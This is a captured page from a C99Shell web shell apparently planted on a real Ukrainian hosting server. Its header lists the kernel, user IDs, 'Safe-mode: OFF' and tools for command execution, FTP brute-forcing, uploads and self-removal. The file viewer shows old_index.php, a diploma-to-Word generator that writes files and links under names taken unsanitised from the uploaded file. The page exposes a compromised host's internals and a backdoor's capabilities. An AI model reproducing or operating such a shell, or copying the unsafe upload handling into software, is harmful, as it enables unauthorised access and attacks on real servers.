!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/inet-tech.org.ua/diplom/   drwxr-xr-x
Free 106.87 GB of 200.55 GB (53.29%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     old_index.php (8.9 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?

//error_reporting(E_ALL);
if (!function_exists('mb_str_replace')) {
    function 
mb_str_replace($search$replace$subject, &$count 0) {
        if (!
is_array($subject)) {
            
// Normalize $search and $replace so they are both arrays of the same length
            
$searches is_array($search) ? array_values($search) : array($search);
            
$replacements is_array($replace) ? array_values($replace) : array($replace);
            
$replacements array_pad($replacementscount($searches), '');

            foreach (
$searches as $key => $search) {
                
$parts mb_split(preg_quote($search), $subject);
                
$count += count($parts) - 1;
                
$subject implode($replacements[$key], $parts);
            }
        } else {
            
// Call mb_str_replace for each subject in array, recursively
            
foreach ($subject as $key => $value) {
                
$subject[$key] = mb_str_replace($search$replace$value$count);
            }
        }

        return 
$subject;
    }
}
function 
generate($name$data)
{
    
$header file_get_contents("header.xml");
    
$footer file_get_contents("footer.xml");
    
$page file_get_contents("page.xml");
    
/*header("Cache-Control: public");
    header("Content-Description: File Transfer");
    $fileName = $name.".doc";
    header("Content-Disposition: attachment; filename=$fileName");
    header("Content-Type: application/msword");
    header("Content-Transfer-Encoding: binary");*/
    
ob_start();
    echo 
$header;
    foreach(
$data as $row)
    {
        
$keys array_keys($row);
        
$values array_values($row);

        echo 
str_replace($keys$values$page);
    }
    echo 
$footer;
    
$html ob_get_contents();
    
ob_end_clean();
    
$path 'files/'.$name;
    
file_put_contents(iconv('cp1251','utf-8',$path), $html);
    return 
$path;
}

function 
get_text_ukr($ukr)
{
    
$str "";
    if (
$ukr['gender'] == 1$str.= "закінчив"; else $str .= 'закінчила';
    
$str .= " у {$ukr['year']} ";
    
$str .= $ukr['universityname']."<br />";
    if (
$ukr['gender'] == 1$str .= "здобув"; else $str .='здобула';
    
$str .= " ступінь ";
    switch(
$ukr['specdirprofcode'][0])
    {
        case 
'6' $str .= 'бакалавра '; break;
        case 
'7' $str .= 'спеціаліста '; break;
        case 
'8' $str .= 'магістра '; break;
    }
    
$str .= "<br/>";
    switch(
$ukr['specdirprofcode'][0])
    {
        case 
'6' $str .= 'за напрямом підготовки '; break;
        case 
'7' $str .= '';
            if (
$ukr['gender'] == 1$str .= "отримав "; else $str .= 'отримала ';
            
$str .= 'повну вищу освіту <br />за спеціальністю '; break;
        case 
'8' $str .= '';
            if (
$ukr['gender'] == 1$str .= "отримав "; else $str .= 'отримала ';
            
$str .= 'повну вищу освіту <br />за спеціальністю '; break;
    }
    
$str .= "{$ukr['specdirprofcode']} &laquo;".mb_ucfirst($ukr['specdirprofname'])."&raquo<br/>";
    if (
$ukr['gender'] == 1$str.= "здобув "; else $str.='здобула ';
    
$str .= "кваліфікацію "$ukr['qualification']."<br/><br/>";
    return 
$str;
}

function 
get_date_ukr($ukr)
{
    
$date explode("/"$ukr);
    
$arr = array("""січня""лютого""березня""квітня""травня""червня""липня""серпня""вересня""жовтня""листопада""грудня");
    return 
"{$date[0]} {$arr[(int)$date[1]]} {$date[2]} р.";
}
function 
get_date_eng($ukr)
{
    
$date explode("/"$ukr);
    
$arr = array("""January""February""March""April""May""June""July""August""September""October""November""December");
    return 
"{$date[0]} {$arr[(int)$date[1]]} {$date[2]}";
}
function 
get_text_eng($eng)
{
    
$str "in {$eng['year']} completed the full course of {$eng['universityname']} <br/>";
    
$str .= "obtained ";
    switch(
$eng['specdirprofcode'][0])
    {
        case 
'6' $str .= 'bachelor\'s'; break;
        case 
'7' $str .= 'specialist\'s'; break;
        case 
'8' $str .= 'master\'s'; break;
    }
    
$str .= " degree in the<br/>";
    
$str .= "field of study {$eng['specdirprofcode']} &laquo;".mb_ucfirst($eng['specdirprofname'])."&raquo;<br/>";
    
$str .= "obtained qualification of "ucfirst($eng['qualification']) ."<br/>";
    return 
$str;
}

function 
generate_array($ukr$eng)
{
    return array(
        
'{Number}' => "{$ukr['series']} №{$ukr['number']}",
        
'{SurnameUkr}' => "{$ukr['lastname']}",
        
'{NameUkr}' => "{$ukr['firstname']}",
        
'{FatherNameUkr}' => "{$ukr['middlename']}",
        
'{SurnameEng}' => "{$eng['lastname']}",
        
'{NameEng}' => "{$eng['firstname']}",
        
'{FatherNameEng}' => "{$eng['middlename']}",
        
'{TextUkr}' =>  get_text_ukr($ukr),
        
'{TextEng}' => get_text_eng($eng),
        
'{DateUkr}' => get_date_ukr($ukr['dategive']),
        
'{DateEng}' => get_date_eng($ukr['dategive']),
    );
}
mb_internal_encoding("cp1251");
function 
mb_ucfirst($text) {
    return 
mb_strtoupper(mb_substr($text01)) . mb_substr($text1);
}

$file_in_server $_FILES['xmlfile']['tmp_name'];
if (
is_file($file_in_server))
{
    
$xml simplexml_load_file($file_in_server);
    
$year 2015;
    
$arr1 = array();
    
$arr2 = array();
    
$count 0;
    foreach(
$xml->document as $document)
    {
        
$count++;
        
$data $document->documentdata;
        
$ukr = array('fio' => strval($data['fio']),
            
'gender' => intval($data['idtypesex']),
            
'year' => '2016 році',
            
'universityname' => iconv('utf-8','cp1251',strval($data['universityname'])),
            
'qualificationname' => iconv('utf-8','cp1251',strval($data['qualificationname'])),
            
'specdirprofcode' => iconv('utf-8','cp1251',strval($data['specdirprofcode'])),
            
'specdirprofname' => iconv('utf-8','cp1251',strval($data['specdirprofname'])),
            
'bossworkpost' => iconv('utf-8','cp1251',strval($data['bossworkpost'])),
            
'series' => iconv('utf-8','cp1251',strval($data['series'])),
            
'dategive' => iconv('utf-8','cp1251',strval($data['dategive'])),
            
'number' => iconv('utf-8','cp1251',strval($data['number'])),
            
'lastname' => iconv('utf-8','cp1251',strval($data['lastname'])),
            
'firstname' => iconv('utf-8','cp1251',strval($data['firstname'])),
            
'middlename' => iconv('utf-8','cp1251',strval($data['middlename'])),
            
'qualification' => iconv('utf-8','cp1251',strval($data['educationqualificationnamerod'])),
            
'specdirprofcode' => strval($data['specdirprofcode']),
            
'boss' => 'Мельничук П.П.',
        );
        
$eng = array('fio' => strval($data['fioen']),
            
'year' => 2016,
            
'universityname' => strval($data['universitynameen']),
            
'qualificationname' => strval($data['qualificationnameen']),
            
'specdirprofcode' => strval($data['specdirprofcode']),
            
'specdirprofname' => strval($data['specdirprofnameen']),
            
'bossworkposten' => strval($data['bossworkposten']),
            
'dategive' => iconv('utf-8','cp1251',strval($data['dategive'])),
            
'series' => strval($data['series']),
            
'number' => strval($data['number']),
            
'lastname' => strval($data['lastnameen']),
            
'firstname' => strval($data['firstnameen']),
            
'middlename' => strval($data['middlenameEn']),
            
'qualification' => strval($data['educationqualificationnameen']),
            
'specdirprofcode' => strval($data['specdirprofcode']),
            
'boss' => 'Melnychuk P.P.',
        );
        if (
$data['award'] == 3)
            
$arr2[] = generate_array($ukr$eng);
        else
            
$arr1[] = generate_array($ukr$eng);
        
/*echo '<pre>';
        print_r($document);
        echo '</pre>';
        var_dump($ukr);*/

    
}

    
$id uniqid();


    
$path1 generate($_FILES['xmlfile']['name'].'_звичайні_'.$id.'.doc',$arr1);
    
$path2 generate($_FILES['xmlfile']['name'].'_червоні_'.$id.'.doc',$arr2);
    echo 
"Всього: {$count} шт.</div>";
    echo 
"<div style=\"margin-top:5px;\"><a href=\"/diplom/{$path1}\">Звичайні дипломи (".count($arr1)." шт.)</a></div>";
    echo 
"<div style=\"margin-top:5px;\"><a href=\"/diplom/{$path2}\">Дипл оми з відзнакою (".count($arr2)." шт.)</a></div>";
    echo 
"<br/><br/>";
    echo 
"<div><a href=\"/diplom/\">Повернутися на головну</a></div>";

    die;
}
?>
<!doctype html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
    <meta charset="windows-1251">
</head>
<body>
<h1>Система генерації Word-документів за XML-файлами з інформацією про дипломи</h1>
<form name="" method="post" enctype="multipart/form-data">
    <div><input type="file" name="xmlfile" /></div>
    <div style="margin-top:20px;"><button type="submit" style="font-size:20px; padding:10px;">Сформувати Word-файли</button></div>
</form>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0248 ]--